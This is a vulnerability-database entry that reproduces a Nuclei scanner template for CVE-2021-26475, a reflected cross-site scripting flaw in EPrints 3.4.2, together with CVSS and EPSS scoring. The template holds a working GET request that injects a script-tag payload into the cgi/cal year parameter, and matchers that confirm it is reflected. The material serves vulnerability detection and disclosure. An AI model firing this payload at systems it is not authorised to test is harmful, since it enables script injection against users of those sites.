Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-26475
HistoryJul 19, 2021 - 1:34 p.m.

EPrints 3.4.2 - Cross-Site Scripting

2021-07-1913:34:21
ProjectDiscovery
github.com
4

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.002 Low

EPSS

Percentile

56.1%

EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI.

id: CVE-2021-26475

info:
  name: EPrints 3.4.2 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability.
  reference:
    - https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
    - https://files.eprints.org/2548/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26475
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26475
    cwe-id: CWE-79
    epss-score: 0.00187
    epss-percentile: 0.55045
    cpe: cpe:2.3:a:eprints:eprints:3.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eprints
    product: eprints
  tags: cve2021,cve,xss,eprints,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - </title><script>alert('{{randstr}}')</script>

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202452d5fb2331fc4cd220e2b60231d049e3b532911c4d99f8e529d0144c7b0609022100ca6708d82d87e98408b4170a72a55b202ee7bdeff2a6dc258707cdd881354d6b:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.002 Low

EPSS

Percentile

56.1%

Related for NUCLEI:CVE-2021-26475